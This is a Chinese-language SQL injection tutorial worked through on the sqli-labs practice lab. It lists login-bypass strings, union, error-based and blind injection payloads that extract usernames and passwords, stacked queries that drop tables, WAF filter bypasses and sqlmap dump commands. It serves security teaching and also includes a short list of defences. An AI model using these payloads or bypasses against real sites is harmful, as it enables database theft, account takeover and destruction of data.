SQL注入详解 - 教学文档
1. 漏洞概述及危害
1.1 漏洞概述
SQL注入是发生在Web程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在Web应用程序中事先定义好的SQL语句中添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此欺骗数据库服务器执行非授权的任意查询,从而获取数据信息。
1.2 漏洞危害
- 获取服务器的库名、表名、字段名、数据库版本、操作系统信息
- 获取整站服务器中的数据,威胁用户数据安全
- 非法导出数据库内容(脱裤)并进行贩卖
- 在网站目录有写入权限时写入木马,篡改网页内容
- 登录后台发布不实言论
- 添加恶意账号
- 通过提权获取服务器最高权限,远程控制服务器
1.3 漏洞防范
- 增强输入验证及过滤,使用白名单或黑名单控制
- 对特殊字符编码进行转义
- 使用预编译语句(Prepared Statement)
- 使用WAF(Web应用防火墙)防范
- 对数据库中重要数据加密处理
- 遵循最小权限原则,严格区分各类账号管理范围
2. SQL注入基础
2.1 SQL注入方式
2.1.1 信息收集
收集操作系统、数据库名、数据库用户、数据库版本、路径等信息
2.1.2 数据注入
- 低版本:通过暴力查询或结合读取获取
- 高版本:通过information_schema语句查询
2.1.3 高权限注入
包括常规查询、跨库查询、文件读写(存在魔术引导需编码或宽字节绕过)、绕过各类防注入措施
2.2 判断注入点
2.2.1 新方法
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 -- 页面正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 -- 页面不正常
2.2.2 老方法
?id=1 and 1=1 -- 页面正常
?id=1 and 1=2 -- 页面不正常
2.2.3 字段判断
- 数字型:
and 1=2--+ - 字符型:
'and 1=2--+ "and 1=2--+ )and 1=2--+ ')and 1=2--+ ")and 1=2--+ "))and 1=2--+
2.2.4 万能密码
用于登录绕过:
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
1'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
2.3 明确参数类型
2.3.1 干扰字符
'、"、%、)、}等,需测试
2.3.2 判断情况
- URL后面是字符:可能是字符型注入
- URL后面是数字:可能是字符型或数字型
2.4 重要知识点
- MySQL 5.0以下为低版本,5.0以上为高版本(有information_schema数据库)
- information_schema数据库存储所有数据库名、表名、列名
- 数据库中
.代表下一级,如haha.user表示haha数据库下的user表 - 重要表:
information_schema.tables:记录所有表名信息information_schema.columns:记录所有列名信息information_schema.schemata:记录所有数据库信息
- 重要字段:
table_schema:数据库名table_name:表名column_name:列名
group_concat():显示所有查询到的数据
2.5 SQL注入步骤
判断类型 → 闭合 → 获取数据库名 → 获取表名 → 获取列名 → 获取字段
3. SQL注入类型详解
3.1 联合查询注入
3.1.1 基本概念
联合注入是回显注入的一种,前提是页面上有回显位(客户端展示数据的位置)
3.1.2 步骤
判断注入点 → 判断类型 → 判断字段数 → 判断显示位 → 确定数据库名 → 确定表名 → 确定列名 → 获取数据
3.1.3 案例:sqli-labs-less-2数字型
- 判断注入点:
?id=1 and 1=2--+返回不正常 - 猜解列数:
?id=1 order by 4--+报错,说明有3列 - 判断回显位:
?id=-1 union select 1,2,3--+ - 信息收集:
?id=-1 union select 1,database(),version()--+ - 获取表名:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+ - 获取列名:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+ - 获取数据:
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
3.1.4 案例:sqli-labs-less-1字符型
- 判断注入点:
?id=1' and 1=2--+返回不正常 - 判断字段数:
?id=1' order by 4--+ - 判断回显位:
?id=-1' union select 1,2,3--+ - 后续步骤与数字型类似,注意闭合方式为单引号
3.2 报错盲注
3.2.1 基本概念
利用数据库机制人为制造错误条件,使查询结果出现在错误信息中
3.2.2 前提
页面没有回显点,但SQL语句能执行错误信息
3.2.3 常用报错函数
updatexml():修改XML文档内容updatexml(XML_document, XPath_string, new_value)extractvalue():查询XML文档数据extractvalue(xml_document, xpath_string)
3.2.4 案例:sqli-labs-less-5字符型
- 判断注入点:
?id=1' and 1=2--+ - 测试报错:
?id=1' and updatexml(1,'~',3)--+ - 获取数据库名:
?id=1' and updatexml(1,concat(0x7e,database()),3)--+ - 获取表名:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+ - 获取列名:
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),3)--+ - 获取数据:
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),3)--+
3.3 布尔盲注
3.3.1 基本概念
根据页面返回true或false构造SQL语句获取数据
3.3.2 常用函数
substr(str,start,length):截取字符串left(str,length):从左截取right(str,length):从右截取ascii(char):获取ASCII码length(str):计算长度ord(str):同ascii()
3.3.3 案例:sqli-labs-less-5字符型
- 判断数据库版本:
?id=1' and left(version(),1)=5--+ - 猜解数据库名长度:
?id=1' and length(database())=8--+ - 猜解数据库名:
?id=1' and ascii(substr(database(),1,1))=115--+ - 猜解表数量:
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+ - 猜解表名:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+ - 猜解列名:
?id=1' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+ - 猜解数据:
?id=1' and ord(substr((select username from security.users limit 0,1),1,1))=68--+
3.4 时间盲注
3.4.1 基本概念
通过页面响应时间判断数据,适用于无回显且错误信息被过滤的情况
3.4.2 常用函数
if(cond,ture_result,False_result):条件判断sleep(N):延迟N秒
3.4.3 案例:sqli-labs-less-8字符型
- 判断注入点:
?id=1' and 1=2--+ - 测试延迟:
?id=1' and sleep(5)--+ - 猜解数据库名长度:
?id=1' and if(length(database())=8,sleep(5),1)--+ - 猜解数据库名:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ - 后续步骤类似布尔盲注,加入sleep函数
3.5 HTTP头部注入
3.5.1 常见类型
- Cookie注入
- User-Agent注入
- Referer注入
- X-forwarded-for注入
3.5.2 案例:sqli-labs-less-5 User-Agent注入
- 抓包修改User-Agent:
'and updatexml(1,0x7e,3)and '1'='1 - 获取数据库名:
'and updatexml(1,concat(0x7e,database()),3) and '
3.5.3 案例:sql-labs-less-19 Referer注入
- 抓包修改Referer:
'and updatexml(1,0x7e,3)and '1'='1 - 后续步骤同User-Agent注入
3.5.4 案例:sqli-abs-less-20 Cookie注入
- 抓包修改Cookie:
uname=admin' and updatexml(1,0x7e,3)# - 获取数据库名:
uname=admin' and updatexml(1,concat(0x7e,database()),3)#
3.5.5 案例:sql-labs-less-21 Cookie编码注入
- 编码payload:
admin') and updatexml(1,0x7e,3)#→ Base64编码 - 修改Cookie:
uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsMHg3ZSwzKSM=
3.6 宽字节注入
3.6.1 原理
MySQL使用GBK编码时,会认为两个字符是一个汉字(前一个ASCII>128),利用%df吃掉转义符\(%5c)
3.6.2 案例:sql-labs-less-32
- 判断注入点:
?id=1%df' and 1=2--+ - 联合查询:
?id=-1%df' union select 1,2,3--+ - 获取数据库名:
?id=-1%df' union select 1,database(),3--+
3.7 POST注入
3.7.1 高危点
登录框、查询框等与数据库交互的输入框
3.7.2 案例:sql-labs-less-11
- 判断注入点:
uname=admin' and 1=1#&passwd=任意 - 判断字段数:
uname=admin' order by 3#&passwd=任意&submit=Submit - 判断回显位:
uname=-admin' union select 1,2#&passwd=任意&submit=Submit - 获取数据库名:
uname=-admin' union select database(),2#&passwd=任意&submit=Submit
3.8 堆叠注入
3.8.1 原理
利用分号执行多条SQL语句
3.8.2 案例:sql-labs-less-38
- 判断注入点:
?id=1' and 1=2--+ - 新建表:
?id=1'; create table test like users;--+ - 删除表:
?id=1'; drop table test;--+ - 添加数据:
?id=1'; insert into users values(16,'admin100','admin100');--+
3.9 二阶注入
3.9.1 原理
先将恶意数据存入数据库,再从数据库取出时触发注入
3.9.2 案例:sql-labs-less-24
- 注册用户:
admin'#,密码任意 - 登录后修改密码,实际修改的是admin的密码
4. SQL注入过滤与绕过
4.1 WAF原理
工作在应用层,对请求进行内容检测和验证
4.2 常见过滤与绕过
4.2.1 空格过滤绕过
- 两个空格代替一个
- TAB代替空格
%a0=空格- 使用括号
%0B绕过
4.2.2 or/and过滤绕过
- 大小写变形:Or,OR,oR
- 编码
- 添加注释:
/*or*/ - 符号代替:
and=&&,or=|| - 双写:
and=anandd,or=oorr
4.2.3 注释符过滤绕过
- 单引号闭合:后面加单引号
- 双引号闭合:后面加双引号
- 使用
or '1'='1闭合
4.2.4 关键字过滤绕过
- 大小写:
uNIon,sEeCt - 双写:
uniunionon,selselctct - 注释符:
U/**/nion - 内联注释:
/*!union*/ - 编码绕过
4.2.5 等号过滤绕过
- 大于号小于号替代
- 使用
like
4.2.6 函数过滤绕过
- 同功能函数替换:
mid()替换substring() - 各类编码绕过
4.3 案例
4.3.1 案例:sql-labs-less-25 or/and绕过
双写绕过:?id=1' anandd 1=2--+
4.3.2 案例:sql-labs-less-23 注释符绕过
构造闭合:?id=1' anandd '1'='2--+
4.3.3 案例:sql-labs-less-26 空格绕过
括号绕过:?id=1'anandd(updatexml(1,0x7e,1))anandd'
4.3.4 案例:sql-labs-less-27 关键词过滤
大小写绕过:?id=-100 '%0BunIon%0BSelEcT%0B1,database(),3'
5. sqlmap工具使用
5.1 常用命令
- 基本检测:
sqlmap -u "http://example.com/?id=1" - 带cookie检测:
sqlmap -u "http://example.com/?id=1" --cookie="cookie值" - 获取所有数据库:
sqlmap -u "http://example.com/?id=1" --dbs - 获取当前数据库:
sqlmap -u "http://example.com/?id=1" --current-db - 获取表:
sqlmap -u "http://example.com/?id=1" -D 数据库名 --tables - 获取列:
sqlmap -u "http://example.com/?id=1" -D 数据库名 -T 表名 --columns - 获取数据:
sqlmap -u "http://example.com/?id=1" -D 数据库名 -T 表名 -C 列名 --dump - 获取所有数据:
sqlmap -u "http://example.com/?id=1" --dump-all - 获取用户:
sqlmap -u "http://example.com/?id=1" --users - 获取密码:
sqlmap -u "http://example.com/?id=1" --passwords - 判断权限:
sqlmap -u "http://example.com/?id=1" --is-dba
5.2 案例:sql-labs-less-1
- 探测漏洞:
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" - 获取数据库:
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dbs - 获取表:
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --tables - 获取列:
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --columns - 获取数据:
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username,password --dump